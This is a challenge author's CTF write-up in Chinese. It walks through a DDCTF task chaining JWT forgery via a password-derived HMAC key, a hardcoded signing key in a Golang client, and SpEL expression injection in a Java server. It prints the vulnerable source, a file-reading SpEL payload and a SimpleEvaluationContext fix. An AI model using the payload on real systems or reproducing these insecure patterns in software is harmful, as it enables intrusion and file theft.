0x00 概述去年DDCTF-2019给出的题目是PHP 越权、Bypass black list、模版注入、文件读取漏洞的题目,而今年想了想决定出一道Java+Golang无符号逆向的题目,定位还是相对基础简单的漏洞利用分值只有150分,最后只有43位同学占比6%顺利做出这道题目。WriteUp可以参考滴滴安全应急响应中心公众号
题目:请从服务端获取client,利用client获取flag,server url:http://117.51.136.197/hint/1.txt CTF利用链路
Server:JWT错误使用
Client:Golang二进制中密钥key获取
Server:SpEL
0x01 CTF环境因为涉及Server端的命令执行漏洞,所以环境部署相对谨慎
docker-compose部署做水平扩展
nginx 负责均衡、health_check 1 2 3 4 5 upstream server_pools{ server 127.0.0.1:8081 weight=10 max_fails=3 fail_timeout=10; server 127.0.0.1:8082 weight=5 max_fails=3 fail_timeout=10; server 127.0.0.1:8080 backup; }
依赖服务:Log/Flag、Server、Client健康检查/Java Server内存马(filter方式)check
0x02 题目分析 0x02.01 JWT错误使用首先在题目描述 中给出需要利用的两个接口文档、简单的题目流程架构及JWT利用的hint
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 Interface documentation - login interface [-][Safet Reminder]The Private key cannot use request parameter Request Method | POST URL | http://117.51.136.197/admin/login Param | username str | pwd str Response token str | auth(Certification information) - auth interface Request Method | POST URL | http://117.51.136.197/admin/auth Param | username str | pwd str | token str Response url str | client download link +------------------+ +----------------------+ +--------------------+ | | | | | | | +----------------> +----------------> | | Client(Linux) | | Auth/Command | | minion | | <----------------+ +<---------------+ | | | | | | | +------------------+ +----------------------+ +--------------------+
0x02.01.01 login接口根据用户可控的账号密码获取JWT凭证 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 @RequestMapping(value ="/login", method = RequestMethod.POST) @ResponseBody public ResponseEntity<RestResponse> Login (@RequestParam String username, @RequestParam String pwd) { try { if (username.isEmpty() || pwd.isEmpty()) { return ResponseEntity.ok(RestResponse.fail(ResultCode.ERROR_PARAMS)); } String token = JWTUtil.getToken(username, pwd, "GUEST" ); return ResponseEntity.ok(RestResponse.succuess(token)); } catch (Exception e) { return ResponseEntity.ok(RestResponse.fail(ResultCode.ERROR_EXCEPTION)); } }
jwt凭证中加密方式
1 2 3 4 5 6 7 8 9 public static String getToken (String userName, String pwd, String userRole) { try { Date date = new Date(System.currentTimeMillis() + EXPIRE_TIME); Algorithm algorithm = Algorithm.HMAC256(pwd); return JWT.create().withClaim("userName" , userName).withClaim("pwd" , pwd).withClaim("userRole" , userRole).withExpiresAt(date).sign(algorithm); } catch (UnsupportedEncodingException e) { return null ; } }
使用HMAC256签名,而密钥为用户可控的参数PWD,对应题目描述 中的[-][Safet Reminder]The Private key cannot use request parameter
0x02.01.02 auth接口利用login接口中获取的jwt凭证来auth接口做认证并或去client下载地址 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 @RequestMapping("/auth") public ResponseEntity<RestResponse> Auth (HttpServletRequest request, @RequestParam String token, @RequestParam String username, @RequestParam String pwd) { try { if (username.isEmpty() || pwd.isEmpty() || token.isEmpty()) { return ResponseEntity.ok(RestResponse.fail(ResultCode.ERROR_PARAMS)); } if (JWTUtil.verify(token, username, pwd)) { String ipAddress = IpUtil.getIpAddr(request); String userRole = JWTUtil.getUserRole(token); logger.info("/auth [userRole]:" + userRole + " [token]:" +token + " [ip]:" + ipAddress); if (userRole.equalsIgnoreCase("ADMIN" )) { return ResponseEntity.ok(RestResponse.succuess("client dowload url: http://117.51.136.197/B5Itb8dFDaSFWZZo/client" )); } else { return ResponseEntity.ok(RestResponse.fail(ResultCode.ERROR_PERMISSION)); } } else { return ResponseEntity.ok(RestResponse.fail(ResultCode.TOKEN_INVALID)); } } catch (NullPointerException e) { return ResponseEntity.ok(RestResponse.fail(ResultCode.ERROR_EXCEPTION)); } }
认证失败提示ERROR_PERMISSION(1000, "need ADMIN permission")
,所以在这里需要结合login接口猜解hmac的密钥并修改jwt payload中的userRole
成功获取client的下载地址。这里如果输入的密码较短密钥非常容易被暴力猜解,有的同学直接使用pwd=1……
0x02.02 Golang-client 0x02.02.01 概述golang无符号二进制程序,其中包含接口信息以及接口签名信息,linux下运行
关键源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 func controlServerCommand () { server_url := "http://117.51.136.197/server/command" log.Printf("[*]Start send command to minions..." ) var m ServerCommand m.Command = "'DDCTF'" m.Timestamp = time.Now().Unix() m.Signature = getSign(m.Command, m.Timestamp) b, _ := json.Marshal(m) err, body := post(server_url, b) if err != nil { log.Print(err) return } log.Printf("[+]send command url %s and response:%s" , server_url, body) } func getSign (command string , time_stamp int64 ) (string ) { sign_input := []byte (fmt.Sprintf("%s|%d" , command, time_stamp)) key := "DDCTFWithYou" h := hmac.New(sha256.New, []byte (key)) h.Write([]byte (sign_input)) signature := base64.StdEncoding.EncodeToString(h.Sum(nil )) log.Printf("[+]get sign:%s, command:%s, time_stamp:%d" , signature, command, time_stamp) return signature }
0x02.03 Java-Server可以通过Fuzz发现是SpEL表达式注入漏洞,有简单的黑名单bypass即可 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 @RequestMapping(value = "/command", method = RequestMethod.POST) @ResponseBody public ResponseEntity<RestResponse> Command (HttpServletRequest request) { try { JSONObject params = HttpUtil.getJSONParam(request); String command = params.getString("command" ); BlackUtil blackUtil = new BlackUtil(); boolean isBlack = blackUtil.verify(command); if (isBlack) { return ResponseEntity.ok(RestResponse.fail(ResultCode.ERROR_COMMAND)); } String sign = params.getString("signature" ); String timeStamp = params.getString("timestamp" ); String ipAddress = IpUtil.getIpAddr(request); Date date = new Date(); Long nowTime = date.getTime() / 1000 ; boolean verifyResult = HMACUtil.verify(command, timeStamp, sign); logger.info("/command:[command]:" + command + " [ip]:" + ipAddress + "[request_time]" + timeStamp + "[nowTime]" + nowTime.toString() + " [verify]" + verifyResult); if (verifyResult) { ExpressionParser parser = new SpelExpressionParser(); Expression expression = parser.parseExpression(command); Object expressionValue = expression.getValue(); return ResponseEntity.ok(RestResponse.succuess(expressionValue)); } else { return ResponseEntity.ok(RestResponse.fail(ResultCode.ERROR_SIGN)); } } catch (Exception e) { return ResponseEntity.ok(RestResponse.succuess(ResultCode.ERROR_EXCEPTION)); } }
Payload:
1 T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get('/home/dc2-user/flag/flag.txt' ), T(java.nio.charset.Charset).defaultCharset())
0x03 涉及漏洞的安全过滤题目中相对主要的利用点是Server端的SpEL表达式注入漏洞
1 2 3 4 ExpressionParser parser = new SpelExpressionParser(); Expression expression = parser.parseExpression(command); Object expressionValue = expression.getValue(); return ResponseEntity.ok(RestResponse.succuess(expressionValue));
可以使用Spring Framework提供的SimpleEvaluationContext做过滤
1 2 3 4 5 ExpressionParser parser = new SpelExpressionParser(); EvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().withRootObject(command).build(); Expression expression = parser.parseExpression(command); Object expressionValue = expression.getValue(); return ResponseEntity.ok(RestResponse.succuess(expressionValue));
SimpleEvaluationContext和standardSimpleEvaluationContext区别在于是否使用classLoader处理EL表达式,这里具体流程不做赘述,可以调试或看源码即可
1 2 3 4 5 6 7 8 9 10 11 SimpleEvaluationContext -> private static final TypeLocator typeNotFoundTypeLocator = typeName -> { throw new SpelEvaluationException(SpelMessage.TYPE_NOT_FOUND, typeName); }; standardSimpleEvaluationContext -> this .typeLocator = new StandardTypeLocator();public StandardTypeLocator () { this (ClassUtils.getDefaultClassLoader()); } cl = ClassLoader.getSystemClassLoader();